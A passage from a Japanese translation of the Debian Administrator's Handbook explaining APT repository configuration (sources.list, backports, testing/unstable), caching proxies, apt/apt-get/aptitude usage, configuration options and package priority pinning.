2 番目のフィールドはパッケージソースの基点 URL です (基点 URL は `Packages.gz` ファイル内のファイル名と組み合わせて使われます。さらに基点 URL は完全で有効な URL でなければいけません)。基点 URL には Debian アーカイブミラーまたはサードパーティが提供する他のパッケージアーカイブを指定できます。基点 URL はシステムのファイル階層構造の中にあるローカルソースを表す file://、ウェブサーバにあるソースを示す http://、FTP サーバにあるソースを示す ftp:// で始めることも可能です。さらに基点 URL は CD-ROM/DVD-ROM/Blu-ray ディスクからインストールしたことを表す cdrom: で始めることも可能です。しかし基点 URL に cdrom: を設定する場合はそれほど多くありません。なぜなら、ネットワークを使ったインストール方法がずっと一般的だからです。

最後のフィールドの構文はリポジトリの構造に依存します。最も単純な場合、このフィールドにはソースから見たサブディレクトリ (末尾スラッシュ必須) を指定します (サブディレクトリがない、つまりパッケージが指定された URL の直下にあることを示す単純な「./」を指定する場合が多いです)。しかし最も多く見られるのは、リポジトリが Debian アーカイブミラーのように構造化されている、つまり複数のコンポーネントを持つ複数のディストリビューションを配布している場合です。この場合、そのマシンのディストリビューションの名前 (「コードネーム」(補注「 Bruce Perens、賛否の分かれるリーダー」8 ページを参照してください) または対応する「スイート」つまり stable、testing、unstable) を指定し、その後に有効化するコンポーネント (またはセクション) を指定します (典型的な Debian アーカイブミラーでは main、contrib、non-free などを指定します)。

VOCABULARY

main、contrib、non-free アーカイブ

Debian では、ソフトウェアの作者が決めたライセンスを基準に、パッケージを 3 つのセクションに分類しています。main には Debian フリーソフトウェアガイドラインに完全に適合するすべてのパッケージが収録されています。

これに対して、non-free アーカイブには、Debian フリーソフトウェアガイドラインに適合しない (または完全に適合するわけではない) ものの制限なく配布することを許されたソフトウェアが収録されています。non-free アーカイブは公式には Debian の一部ではなく、これらのプログラムを必要としているユーザ向けのサービスです。しかし Debian は常にフリーソフトウェアを重点的に使うことを推奨します。non-free セクションの存在は Richard M. Stallman にとって無視できない問題であり、フリーソフトウェア財団は non-free セクションの存在を理由に Debian をユーザに推奨していません。

contrib (貢献) には、自由ではない要素を使わなければ動かないオープンソースソフトウェアが収録されています。自由ではない要素とは non-free セクションに収録されたソフトウェア、およびたとえばゲーム ROM、コンソールの BIOS などの自由ではないファイルを指します。また、contrib にはコンパイルの際にプロプライエタリな要素を必要とするフリーソフトウェアが収録されています。当初このようなフリーソフトウェアにはプロプライエタリな Java 環境を必要としていた OpenOffice.org オフィススイートなどがありました。

TIP

/etc/apt/sources.list.d/*.list ファイル

多数のパッケージソースを利用する場合、これらを複数のファイルに分割すると役に立つかもしれません。この場合、各パッケージソースを /etc/apt/sources.list.d/**filename**.list に保存します (補注「 .d で終わるディレクトリ」113 ページを参照してください)。

cdrom エントリはあなたの持っている CD/DVD-ROM を表しています。他のエントリと異なり、CD-ROM は常に利用できるわけではありません。なぜなら、ディスクをドライブに挿入しなければいけませんし、一度に 1 つのディスクしか読めないからです。このような理由で、CD-ROM ソースは少し違う方法で管理されます。ソースを追加するには通常 apt-cdrom プログラムに add パラメータを付けて実行します。このようにプログラムを実行すると、ドライブにディスクを挿入するよう要求されます。apt-cdrom プログラムはディスクの内容を閲覧して Packages ファイルを探します。Packages ファイルは利用できるパッケージに関する APT のデータベースを更新するために利用されます (更新作業は apt update コマンドで実行されます)。そして、APT はディスクに含まれるパッケージが必要になったらディスクを挿入するように要求します。

6.1.2. **安定版**ユーザ用リポジトリ

下に示すのは、Debian の**安定版**を動かしているシステムで標準的な sources.list です。

例 6.1　Debian 安定版ユーザ向けの /etc/apt/sources.list ファイル

```
# セキュリティ更新
deb http://security.debian.org/ jessie/updates main contrib non-free
deb-src http://security.debian.org/ jessie/updates main contrib non-free

## Debian アーカイブミラー

# ベースリポジトリ
deb http://ftp.debian.org/debian jessie main contrib non-free
deb-src http://ftp.debian.org/debian jessie main contrib non-free

# 安定版更新
deb http://ftp.debian.org/debian jessie-updates main contrib non-free
deb-src http://ftp.debian.org/debian jessie-updates main contrib non-free

# 安定版バックポート
deb http://ftp.debian.org/debian jessie-backports main contrib non-free
deb-src http://ftp.debian.org/debian jessie-backports main contrib non-free
```

このファイルは Debian **Jessie** (これを書いている時点の **安定版**) に関連するパッケージの全ソースをリストしています。ここでディストリビューション名に「jessie」を使い、対応する「stable」(stable、stable-updates、stable-backports) という別名を使わなかったのには理由があります。それは、新しい安定版が公開されることにより自動的にディストリビューションのバージョンが変わることを避けるためです。

多くのパッケージは「ベースリポジトリ」から取得されます。「ベースリポジトリ」にはすべてのパッケージが収録されていますが、**安定版**の「ベースリポジトリ」はめったに更新されません (約 2 カ月に 1 度の「ポイントリリース」で更新されます)。「ベースリポジトリ」以外のリポジトリには一部のパッケージだけが収録されており (すべてパッケージが収録されているわけではありません)、「ベースリポジトリ」以外のリポジトリに更新 (「ベースリポジトリ」に含まれるパッケージの新しいバージョン) が収録されていた場合、APT は更新をインストールします。以下の節ではそれぞれのリポジトリの目的とリポジトリの運営ルールについて説明します。

あるパッケージの希望したバージョンが複数のリポジトリから取得できる場合、`sources.list` ファイルにリストされた最初のリポジトリから取得されることに注意してください。この理由から、非公式ソースは通常最後に追加されます。

ちなみに、この節で**安定版**に関して述べていることのほとんどは**旧安定版**に関しても同じことが言えます。なぜなら、**旧安定版**とは並行してメンテナンスされている古い**安定版**に過ぎないからです。

セキュリティ更新

セキュリティ更新リポジトリは Debian アーカイブミラーの通常のネットワーク上ではなく、security.debian.org (Debian システム管理者が管理する少数のマシン) でホストされています。セキュリティ更新アーカイブには、**安定版**ディストリビューション用の (Debian セキュリティチームまたはパッケージメンテナが用意した) セキュリティ更新が含まれています。

security.debian.org は**テスト版**用のセキュリティ更新もホストしていますが、実際にこれがホストされることはめったにありません。なぜなら、**テスト版**に対するセキュリティ更新は**不安定版**対する通常の更新手順を通じて行われることが多いからです。

安定版更新

安定版更新リポジトリにはセキュリティに影響をおよぼすパッケージは含まれませんが、その重要性により次回の安定版ポイントリリースよりも前にユーザに提供するだけの価値があるとみなされた更新が含まれています。

通常、安定版更新リポジトリにはリリースの前に修正できなかったり後続の更新によって生まれた重要なバグの修正が含まれています。さらに緊急度に応じて、時間とともに進化させる必要のあるパッケージの更新を含めることも可能です。これに該当するのはたとえば **spamassassin** のスパム検出ルール、**clamav** のウイルスデータベース、すべてのタイムゾーンの夏時間ルール (**tzdata**) などがあります。

実質的には、安定版更新リポジトリは内容を proposed-updates リポジトリからの一部抜粋したものです。安定版更新リポジトリの内容は安定版リリースマネージャが注意深く選んでいます。

提案された更新

安定版ディストリビューションはひとたび公開されたら、約 2 カ月に 1 回だけ更新されます。proposed-updates リポジトリとは (安定版リリースマネージャの指揮の下で) 今後予定されている更新を準備するためのリポジトリです。

前の節で説明したセキュリティ更新と安定版更新は、常に proposed-updates リポジトリに加えられますが、更新は他にもあります。なぜなら、パッケージメンテナは素早くリリースすることもないけれど重要と思われるバグを修正する機会があるからです。

正式公開前に更新をテストするためには proposed-updates リポジトリを使います。以下で引用した例は jessie-proposed-updates という別名を使っています。このような、より明白でより一貫性のある別名を使っている理由は、(**旧安定版**に対する更新用のリポジトリとして) wheezy-proposed-updates という別名が存在するからです。

```
deb http://ftp.debian.org/debian jessie-proposed-updates main contrib non-free
```

安定版バックポート

stable-backports リポジトリは「パッケージのバックポート」をホストしています。「パッケージのバックポート」という用語は古いディストリビューション (通常は**安定版**) 用に再コンパイルした最新ソフトウェアのパッケージを指す言葉です。

安定版ディストリビューションの公開から少し時間が経っただけで、多くのソフトウェアプロジェクトが新バージョンをリリースします。しかしながら、ソフトウェアの新バージョンは現在の**安定版**に組み込まれません (**安定版**に組み込まれるのはセキュリティ問題などの最も重要な問題に対する修正に限られています)。安定性の観点から**テスト版**や**不安定版**ディストリビューションを使うのは危険過ぎると考える安定版のユーザ向けに、パッケージメンテナはしばしば**安定版**向けに最新のソフトウェアアプリケーションを再コンパイ

ルして提供することがあります。バックポートされたパッケージを使うことにより、安定版のユーザはシステムの不安定性をバックポートされたパッケージに起因する不安定性だけに制限することが可能です。

➡ http://backports.debian.org

今や stable-backports リポジトリは普通の Debian アーカイブミラーから利用できます。しかし **Squeeze** 用のバックポートはまだ専用サーバ (backports.debian.org) でホストされており、以下の sources.list エントリが必要です。

```
deb http://backports.debian.org/debian-backports squeeze-backports main contrib non-free
```

stable-backports に収録されているバックポートは常に**テスト版**で利用できるパッケージから作成されます。このおかげで、次の Debian 安定版リリースが利用できるようになったら、すべてのインストール済みバックポートパッケージはそれに対応する安定版から提供されたパッケージにアップグレードできることが保証されています。

stable-backports リポジトリはパッケージの新しいバージョンを提供しますが、APT は以下に示すように明確な指示を出さない限り (または以前に同じバックポートの古いバージョンをインストールしていない限り) バックポートパッケージをインストールしません。

```
$ sudo apt-get install package/jessie-backports
$ sudo apt-get install -t jessie-backports package
```

6.1.3. **テスト版**/**不安定版**ユーザ向けリポジトリ

以下に示すのは、Debian の**テスト版**や**不安定版**を動かしているシステムで標準的な sources.list です。

例 6.2　Debian テスト版/不安定版**ユーザ向けの /etc/apt/sources.list ファイル**

```
# 不安定版
deb http://ftp.debian.org/debian unstable main contrib non-free
deb-src http://ftp.debian.org/debian unstable main contrib non-free

# テスト版
deb http://ftp.debian.org/debian testing main contrib non-free
deb-src http://ftp.debian.org/debian testing main contrib non-free

# 安定版
deb http://ftp.debian.org/debian stable main contrib non-free
deb-src http://ftp.debian.org/debian stable main contrib non-free

# セキュリティ更新
deb http://security.debian.org/ stable/updates main contrib non-free
deb http://security.debian.org/ testing/updates main contrib non-free
deb-src http://security.debian.org/ stable/updates main contrib non-free
deb-src http://security.debian.org/ testing/updates main contrib non-free
```

この sources.list ファイルを使う場合、APT は**不安定版**からパッケージをインストールします。これを望まない場合、APT::Default-Release 設定を使って (第 6.2.3 節「システムのアップグレード」111 ページをご覧ください) APT に他のディストリビューションから (今回の場合**テスト版**から) パッケージを取得するよう伝えます。

ここで指定するリポジトリは 1 種類のバージョンに対するリポジトリだけでも十分なのに、3 種類のバージョンに対するリポジトリを含めているのには正当な理由があります。**テスト版**のユーザなら、あるパッケージの**テスト版**に含まれるバージョンが厄介なバグの影響を受けている場合、そのパッケージを**不安定版**に含まれる修正済みバージョンにアップグレードできればうれしいでしょう。逆に、**不安定版**のユーザなら、あるパッケージの**不安定版**に含まれるバージョンに前のバージョンになかった不具合がある場合、そのパッケージを**テスト版**に含まれる (おそらく動く) バージョンにダウングレードすることも可能です。

ここに**安定版**用のリポジトリが含まれている点については異論があるかもしれませんが、こうすることで開発版から削除されたパッケージを入手できるようになります。また、最新安定版リリース以降に変更さていないパッケージの最新更新を手に入れることも保証されます。

実験版**リポジトリ**

実験版パッケージのアーカイブはすべての Debian アーカイブミラーに存在し、品質基準を満たしていないためにまだ**不安定版**に収録されていないパッケージを含んでいます。すなわち、**実験版**に含まれるパッケージはソフトウェアの開発版バージョンか先行バージョン (アルファ、ベータ、リリース候補など) であることが多いです。パッケージに対する一連の修正によって問題が引き起こされる可能性がある場合も、パッケージは**実験版**に送られます。メンテナは、重要な問題を取り扱う能力を持つ熟練ユーザの助けを借りて、その問題を明らかにしようとします。この最初のステージの後、パッケージは**不安定版**に移動されます。**不安定版**に移動されたパッケージはより多くのユーザに配布され、より詳細にテストされます。

実験版リポジトリを使うのは通常、システムを破壊したり修復することを気にしないユーザです。**実験版**リポジトリを使うユーザは必要に応じて試してみたいか使ってみたいと思ったパッケージを**実験版**からシステムに取り込むことができます。これはまさに Debian が**実験版**を活用する時の方法です。なぜなら、**実験版**リポジトリを APT の sources.list ファイルに追加しても、実験版パッケージを体系的に利用することにはならないからです。**実験版**リポジトリを追加するには以下を sources.list ファイルに追加します。

```
deb http://ftp.debian.org/debian experimental main contrib non-free
```

6.1.4. 非公式リソース、mentors.debian.net

Debian パッケージの非公式ソースはたくさんあります。非公式ソースはソフトウェアを再コンパイルした熟練ユーザ (Ubuntu は Personal Package Archive サービスを提供することで熟練ユーザの提供する非公式ソースを普及させました)、自分の創作物を誰でも利用できる状態にするプログラマ、自分のパッケージの先行バージョンをオンラインで提供する Debian 開発者によって提供されています。

mentors.debian.net サイトは興味深いものです (ただしこのサイトが配布しているのはソースパッケージだけです)。なぜなら mentors.debian.net には、パッケージの組み込み過程を経ずに、公式 Debian 開発者の候補者や Debian パッケージを作りたいと望むボランティアが作成したパッケージが集められているからです。mentors.debian.net に集められたパッケージは、品質保証のないまま、利用できるようになっています。こ

のため、起源と整合性を必ず確認し、稼働中のシステムでパッケージを使う前にパッケージを必ずテストしてください。

COMMUNITY

debian.net サイト

debian.net ドメインは Debian プロジェクトの公式所有物ではありません。それぞれの Debian 開発者は自分用に **debian.net** ドメイン名を使うことが許されています。そのようなウェブサイトには、Debian プロジェクトに所属せず Debian 開発者が設けたマシンでホストされている非公式サービス (個人サイト) や今まさに **debian.org** に移動されようとしているサービスの試作品が含まれています。一部のサービスの試作品が **debian.net** に残されている理由は 2 つあります。すなわち、誰もそのサービスを公式化する (**debian.org** ドメインでホストしてメンテナンスを保証する) のに必要な作業を行わなかったか、そのサービスを公式化するのはあまりに議論の余地がありすぎるかのどちらかです。

あるパッケージをインストールすることは、パッケージの作者に root 権限を与えることを意味しています。なぜなら、パッケージ作者は root 権限で実行される初期化スクリプトの内容を決定するからです。公式 Debian パッケージは、パッケージの起源と整合性が確認できるように、選出され審査を受けたボランティアとパッケージの内容の責任を請け負うことができるボランティアによって作成されます。

一般に、出自が不明で公式 Debian サーバの 1 つでホストされていないパッケージには警戒してください。つまり、作者の信頼度を評価し、パッケージの整合性を確認してください。

➡ `http://mentors.debian.net/`

GOING FURTHER

パッケージの古いバージョン、snapshot.debian.org

2010 年 4 月に登場した `snapshot.debian.org` サービスにより、「時間を逆行」したり、パッケージの古いバージョンを見つけることが可能になりました。`snapshot.debian.org` サービスは、たとえばパッケージのどのバージョンで前のバージョンになかった不具合が発生したかを特定するために、より正確に言えば、不具合が修正されるまでの期間中に古いバージョンを利用するために、使えます。

6.1.5. Debian パッケージのキャッシュプロキシ

マシンのネットワーク全体で、同じ更新済みパッケージをダウンロードするために同じリモートサーバを使うよう設定されている場合、管理者はネットワークのローカルキャッシュとして振る舞う中間プロキシを用意するのは有益なことであると知っています (補注「 キャッシュ」118 ページを参照してください)。

APT が「標準的な」プロキシを使うように設定することも可能です (APT 側は第 6.2.4 節「設定オプション」113 ページ、プロキシ側は第 11.6 節「HTTP/FTP プロキシ」282 ページを参照してください)。しかしながら、Debian にはこの問題に対するより優れた選択肢が準備されています。この節で取り上げる専用ソフトウェアは単純なプロキシキャッシュよりも賢いです。なぜなら、このソフトウェアは APT リポジトリの特定の構造を頼りにできるからです (たとえば、個々のファイルが時代遅れになるタイミングがわかるので、ファイルを保存しておく時間を調整できます)。

apt-cacher と **apt-cacher-ng** は普通のプロキシキャッシュサーバのように振る舞います。APT の `sources.list` を変更する必要はありませんが、APT の外部リクエスト用のプロキシ設定をこれらのプロキシキャッシュサーバに変更する必要があります。

これに対して、**approx** は基点 URL の下にある複数のリモートリポジトリを「ミラー」する HTTP サーバのように振る舞います。最上位ディレクトリの名前とリモート側リポジトリの基点 URL の対応関係は `/etc/approx/approx.conf` に保存されています。

```
# <最上位ディレクトリの名前> <リモート側リポジトリの基点 URL>
debian   http://ftp.debian.org/debian
security http://security.debian.org
```

approx のデフォルト設定では、inetd (第 9.6 節「inetd スーパーサーバ」204 ページを参照してください) 経由でポート 9999 番を使います。ユーザは基点 URL が approx サーバを指すように sources.list ファイルを書き換えなければいけません。

```
# ローカル approx サーバを利用する設定を施した sources.list の見本
deb http://apt.falcot.com:9999/security jessie/updates main contrib non-free
deb http://apt.falcot.com:9999/debian jessie main contrib non-free
```

6.2. aptitude、apt-get、apt コマンド

APT は巨大なプロジェクトで、当初の予定ではグラフィカルインターフェースを含んでいました。APT はライブラリに基づいており、そのライブラリにはコアアプリケーションが含まれています。apt-get は最初のコマンドラインベースフロントエンドで、APT プロジェクト内で開発されました。apt は APT から提供されているもう一つのコマンドラインベースフロントエンドで、apt-get の持っていた設計上のミスを克服しています。

APT の数多くのグラフィカルインターフェースは外部プロジェクトとして生まれました。たとえば synaptic、aptitude (テキストとグラフィカルモードインターフェースの両方があり、グラフィカルモードインターフェースはまだ完成していません)、wajig などが生まれました。最も推奨されるインターフェースは apt で、この節では apt を例に使います。apt のコマンドライン構文と apt-get や aptitude のコマンドライン構文はよく似ていることに注意してください。apt、apt-get、aptitude の間に大きな違いがある場合は、その違いを詳しく述べます。

6.2.1. 初期設定

APT を使う作業では、事前に利用できるパッケージのリストを更新しなければいけません。パッケージリストを更新するには apt update を使ってください。ネットワークのスピードに依存しますが、パッケージリストの更新操作には少し時間がかかります。なぜなら、Packages/Sources/Translation-**language-code** などのファイルをダウンロードするからです。ここでダウンロードされるファイルは Debian の開発が進むにつれて徐々に大きくなります (main セクションの場合、データのサイズは少なく見積もっても 10 MB です)。もちろん CD-ROM セットからインストールする場合はダウンロードに時間は必要ありません。この場合、パッケージリストの更新操作はとても速くなります。

6.2.2. インストールと削除

APT を使うと、システムからパッケージを追加したり削除したりできます。追加は apt install **package**、削除は apt remove **package** のようにして行います。どちらの場合も APT は自動的に、追加するパッケージの動作に必要なパッケージをインストールし、削除対象のパッケージの削除後に不要になるパッケージを削除

します。apt purge **package** コマンドを実行すれば完全にアンインストール、つまり設定ファイルも削除します。

TIP

複数のマシンに同じ構成でパッケージをインストール

複数のコンピュータに同じパッケージ群を体系的にインストールすると役に立つ場合があります。これは簡単にできます。

最初に、以下の操作でコンピュータにインストールされたパッケージのリストを取得し、これをパッケージ構成の「ひな形」とします。

```
$ dpkg --get-selections >pkg-list
```

pkg-list ファイルはインストールされたパッケージのリストです。次に、パッケージ群をインストールしたいコンピュータに pkg-list ファイルを移動し、以下のコマンドを実行します。

```
## dpkg が把握しているパッケージのデータベースを更新
# avail=`mktemp`
# apt-cache dumpavail > "$avail"
# dpkg --merge-avail "$avail"
# rm -f "$avail"
## dpkg のパッケージ選択リストを更新する
# dpkg --set-selections < pkg-list
## apt-get を使ってパッケージ選択リストに基づいてインストールを行う
# apt-get dselect-upgrade
```

最初のコマンド群で dpkg データベースで利用できるパッケージのリストを記録し、dpkg --set-selections でインストールしたいパッケージ群を選択し、apt-get でインストール作業を実行します。aptitude には dselect-upgrade が用意されていないので、最後のインストール作業を行うことは不可能です。

TIP

同時に削除とインストールを行う

apt (および apt-get や aptitude) を使ってパッケージのインストールと削除を同時に命令するには、パッケージ名の末尾にサフィックスを付け加えます。apt install コマンドでパッケージ名の末尾に「-」を付けると削除になります。apt remove コマンドでパッケージ名の末尾に「+」を付けるとインストールになります。

次の例は **package1** をインストール、**package2** を削除する 2 種類の方法です。

```
# apt install package1 package2-
[...]
# apt remove package1+ package2
[...]
```

これはたとえば Recommends に指定されているなどの原因でインストールされてしまうパッケージをインストールさせないようにするために使うことも可能です。一般に、依存関係解決ソフトウェアは代替解決策を探すための手掛かりとしてこの情報を使います。

TIP

apt --reinstall と aptitude reinstall

パッケージから提供されたファイルを削除したり変更したりした場合、システムが被害を受けることがあります。パッケージから提供されたファイルを再取得する最も簡単な方法は、対象のファイルが含まれるパッケージを再インストールすることです。残念なことに、パッ

ケージングシステムはパッケージが既にインストール済みで、再インストールできないことを丁寧に教えてくれます。インストール済みパッケージを再インストールするには、apt および apt-get コマンドの --reinstall オプションを使います。以下は、既にインストール済みの **postfix** を再インストールするコマンドです。

```
# apt --reinstall install postfix
```

aptitude のコマンドラインは少し違いますが、aptitude reinstall postfix でインストール済みパッケージを再インストールできます。

dpkg を使えばインストール済みパッケージの再インストールを拒否されることはありませんが、管理者が直接 dpkg を使うことはまれです。

注意してください! 攻撃を受けている最中に、変更されたパッケージを修復する目的で apt --reinstall を使っても、システムを以前の状態に回復することは絶対に不可能でしょう。不正侵入を受けたシステムでパッケージを修復するために必要な手順の詳細は第 14.7 節「不正侵入されたマシンの取り扱い」414 ページを参照してください。

sources.list に複数のディストリビューション用リポジトリが含まれる場合、パッケージのバージョンを指定してインストールすることも可能です。特定のバージョンを指定するには、apt install **package=version** を使いますが、apt install **package/distribution** のようにして、ディストリビューション (**安定版**、**テスト版**、**不安定版**) を指定するやり方のほうが通常好まれます。sources.list ファイルに書かれたどこかのソースから古いバージョンをまだ入手できるなら、このコマンドを使ってパッケージを古いバージョンに戻すことも可能です (これはたとえば古いバージョンがうまく動作すると知っている場合などに有効です)。古いバージョンを入手する別の方法として snapshot.debian.org アーカイブを使うことも可能です (補注「パッケージの古いバージョン、snapshot.debian.org」108 ページを参照してください)。

例 6.3 spamassassin **の**不安定版**バージョンをインストール**

```
# apt install spamassassin/unstable
```

GOING FURTHER

.deb ファイルのキャッシュ

APT はダウンロード済み .deb ファイルのコピーを /var/cache/apt/archives/ ディレクトリに保存します。頻繁に更新を行う場合、/var/cache/apt/archives/ ディレクトリにはパッケージの複数のバージョンが保存され多くのディスク領域が消費されるため、日常的にこのディレクトリの内容を調べたほうがよいでしょう。/var/cache/apt/archives/ ディレクトリの内容を管理するために 2 つのコマンドが用意されています。たとえば apt-get clean はこのディレクトリを完全に空にします。一方で apt-get autoclean は (Debian アーカイブミラーから削除されたために) もはやダウンロードできない、明らかに無駄なパッケージだけを削除します (設定パラメータ APT::Clean-Installed を使って現在インストール済みパッケージの .deb は削除しないようにすることも可能です)。apt では clean および autoclean を使うことができない点に注意してください。

6.2.3. システムのアップグレード

最新のセキュリティ更新を入手するために、定期的にアップグレードを行うことをお勧めします。アップグレードを行うには (もちろん apt update を実行した後に) apt upgrade、apt-get upgrade、aptitude safe-upgrade を実行してください。これらのコマンドは他のパッケージを削除せずにアップグレードでき

るインストール済みパッケージだけを探します。言い換えれば、最低限可能なアップグレードを行います。apt-get のアップグレードパッケージの選択規則は aptitude や apt よりも少し条件が厳しいです。なぜなら apt-get upgrade は現在のパッケージ構成を変えないからです。つまりパッケージの新バージョンで導入された新しい依存関係により現在インストールされていないパッケージをインストールする必要が生じた場合はパッケージの新バージョンをインストールしないからです。

TIP

増分アップグレード

先に説明した通り、apt update コマンドは、複数のパッケージソースから対応する Packages (または Sources) ファイルをダウンロードします。しかしながら、これらのファイルのサイズは bzip2 圧縮してもまだ大きいです (**Jessie** の **main** セクションの Packages.xz は 6 MB 以上です)。日常的にアップグレードしたい場合、ダウンロードに時間がかかるということです。

APT は作業を高速に進めるために、ファイル全体をダウンロードするのではなく、前回の更新以降の変更を含む「差分」をダウンロードすることも可能です。これを実現するために、公式の Debian アーカイブミラーはある時点の Packages ファイルと各回の更新に対応する「差分」を配布しています。「差分」はアーカイブが更新されるたびに生成され、1 週間分の「差分」が保存されています。1 個の「差分」ファイルのサイズは**不安定版**の場合でもたった数十キロバイトです。そのため、毎週 1 回 apt update を実行する場合にダウンロードされるデータ量は 10 分の 1 程度になります。より更新頻度の低い**安定版**や**テスト版**などのディストリビューションをアップグレードする場合、差分ファイルを使うことによるダウンロードデータ量の削減効果はより顕著なものになります。

しかしながら、特に長期間アップグレード作業を行っていなかった場合や増分アップグレードの効果が薄い場合、Packages ファイルの全体を強制的にダウンロードしたいと思うかもしれません。これはまた、ネットワークがとても高速でマシンの処理がとても遅い場合に興味深いです。なぜなら、全体をダウンロードすることで節約される時間よりも、コンピュータがファイルの新しいバージョンを計算する時間 (ローカルにある Packages ファイルにダウンロードされた差分を適用していく時間) の方が長いからです。強制的に Packages ファイル全体をダウンロードさせるには、設定パラメータ Acquire::Pdiffs を false に設定してください。

通常 apt は最新のバージョンをインストールします (ただし**実験版**と**安定版バックポート**のパッケージはバージョン番号に関わらず明示的に指定しない限りインストールされません)。sources.list の中で**テスト版**や**不安定版**を指定した場合、apt upgrade は**安定版**システムのほとんどを**テスト版**や**不安定版**に変更します。これはあなたが望んでいないことかもしれません。

apt がアップグレードされたパッケージを検索する際に、特定のディストリビューションからパッケージを検索させるには、-t または --target-release オプションにディストリビューションの名前を付けてください (たとえば apt -t stable upgrade のようにしてください)。apt を使う時に毎回このオプションを指定するのを避けるには、/etc/apt/apt.conf.d/local ファイルに APT::Default-Release "stable"; を追加してください。

より重要なアップグレード、たとえば Debian のメジャーバージョンをアップグレードするなどの場合、apt full-upgrade を使ってください。apt full-upgrade を実行した場合、apt はアップグレードに伴う新しい依存関係により不要となったパッケージを削除します。また、apt full-upgrade は Debian **不安定版**リリースを日常的に使い、毎日開発進化を追いかけているユーザが使うコマンドです。これは説明がほとんど必要ないくらいとても単純です。そして APT の評判はこの偉大なる機能性が担っています。

apt と異なり、aptitude および apt-get では full-upgrade コマンドを使うことができません。その代わり、apt-get dist-upgrade (「ディストリビューションアップグレード」) を使ってください。dist-upgrade コマンドは歴史的かつよく知られており、apt と aptitude はユーザの利便性を考慮して dist-upgrade を受け付けます。

6.2.4. 設定オプション

既に説明した設定項目に加えて、/etc/apt/apt.conf.d/ ディレクトリに指示文を書いたファイルを追加して APT の特定の機能を設定できます。たとえば、APT に dpkg がファイルの衝突によるエラーを無視するよう設定するには、DPkg::options { "--force-overwrite"; } のように書いたファイルを /etc/apt/apt.conf.d/ ディレクトリに追加します。

ウェブにアクセスするには必ずプロキシを介す必要がある場合、Acquire::http::proxy "http://**yourproxy**:3128" の行を追加してください。FTP プロキシは Acquire::ftp::proxy "ftp://**yourproxy**" のように追加してください。より多くの設定オプションを確認するには、man apt.conf コマンドで apt.conf(5) マニュアルページをご覧ください (マニュアルページの詳細は第 7.1.1 節「マニュアルページ」136 ページをご覧ください)。

BACK TO BASICS

.d で終わるディレクトリ

名前に .d サフィックスが付けられたディレクトリは頻繁に使われます。それぞれのディレクトリは複数ファイルにわたって分割された設定ファイルを表しています。この意味において、/etc/apt/apt.conf.d/ 内のすべてのファイルには APT に対する設定が含まれています。APT はこれらをアルファベット順に読み込みます。つまり、読み込まれる順番が遅いファイルの設定が早いファイルの設定を上書きするということです。

この体制により、マシンの管理者とパッケージメンテナは設定にいくつかの自由度を持つことが可能です。実際、管理者は出来合いのファイルをこのディレクトリに追加することによって、既存のファイルを編集せずにソフトウェアの設定を簡単に修正できます。パッケージメンテナはこれと同じやり方で、自分のパッケージとうまく共存させながら、他のソフトウェアの設定を変更します。あるパッケージが自分以外のパッケージから提供された設定ファイルを変更することは Debian ポリシーによって禁止されています。すなわち設定ファイルを変更できるのはユーザだけです。パッケージのアップグレード中に設定ファイルの変更が検出されたら、ユーザは設定ファイルのどのバージョンを保存するか聞かれることを忘れないでください。外部から設定ファイルが変更されれば必ず聞かれます。これは何も変えたくない管理者にとって煩わしいかもしれません。

.d ディレクトリがない場合、設定ファイルを提供するパッケージ以外が、その設定ファイルを書き換えずにプログラムの設定を変更するのは不可能です。その代わり、ユーザに自分で設定ファイルを書き換えるよう案内し、そのやり方を /usr/share/doc/**package**/README.Debian ファイルに記載しなければいけません。

アプリケーションに依存しますが、.d ディレクトリは直接またはすべてのファイルを連結して設定ファイルを作成する外部スクリプトを介して使われます。最新の変更を反映させるため、ディレクトリ内のファイルを変更した後にスクリプトを実行することが重要です。同様に、自動的に生成された設定ファイルを直接編集しないことが重要です。なぜなら、スクリプトを実行すれば生成された設定ファイルに行ったすべての変更が失われるからです。どちらの方法をとるか (.d ディレクトリを直接使うかディレクトリからファイルを生成するか) は通常実装に依存します。しかし、どちらの場合でも設定の柔軟性が増えるのに対して、設定の複雑さは少ししか増加しません。Exim 4 メールサーバはファイルを生成する方針をとるアプリケーションの例です。具体的に言えば、ファイル (/etc/exim4/conf.d/*) に設定を書き込み、update-exim4.conf コマンドがこれらを連結して /var/lib/exim4/config.autogenerated を生成します。

6.2.5. パッケージ優先度の管理

APT の設定で最も重要な側面の 1 つに各パッケージソースに対する優先度の管理があります。たとえば、**テスト版**、**不安定版**、**実験版**から入手できる新しいパッケージを 1 つか 2 つあるディストリビューションにイ

ンストールしたいと思うかもしれません。利用できるパッケージに対してそれぞれ別の優先度を割り当てることが可能です (同じパッケージに対してバージョンやそれを提供しているディストリビューションに依存する異なる優先度を設定することも可能です)。優先度の設定は APT の挙動に影響をおよぼします。すなわち、各パッケージについて、APT は常に最も優先度の高いバージョンをインストールします (例外は、最も優先度の高いバージョンがインストール済みのバージョンよりも古い場合か 1000 より低い優先度を持っている場合です)。

APT はいくつかのデフォルト優先度を定義しています。インストール済みパッケージのバージョンは優先度 100 です。インストールされていないパッケージのバージョンはデフォルトで優先度 500 ですが、ターゲットリリース (`-t` コマンドラインオプションか APT::Default-Release の設定指示文によって定義します) に含まれるバージョンの場合、優先度 990 になります。

優先度を変更するには、`/etc/apt/preferences` ファイルに、影響を受けるパッケージの名前、バージョン、パッケージの提供者、新しい優先度を指定するエントリを追加してください。

APT は優先度が 1000 より高い場合を除いて、パッケージの古いバージョン (言い換えれば、現在インストールされているバージョンよりバージョン番号が低いパッケージ) をインストールしません。APT は常にこの制限に基づいて最も高い優先度のパッケージをインストールします。2 つのバージョンが同じ優先度の場合、APT は最新の (バージョン番号が最も高い) バージョンをインストールします。バージョンと優先度が同じで、パッケージの内容が異なる場合、APT はインストールされていないバージョンをインストールします (このルールはあるパッケージがリビジョン番号を変化させずに更新された場合に対応させるために作られました。通常はリビジョン番号を増加させなければいけません)。

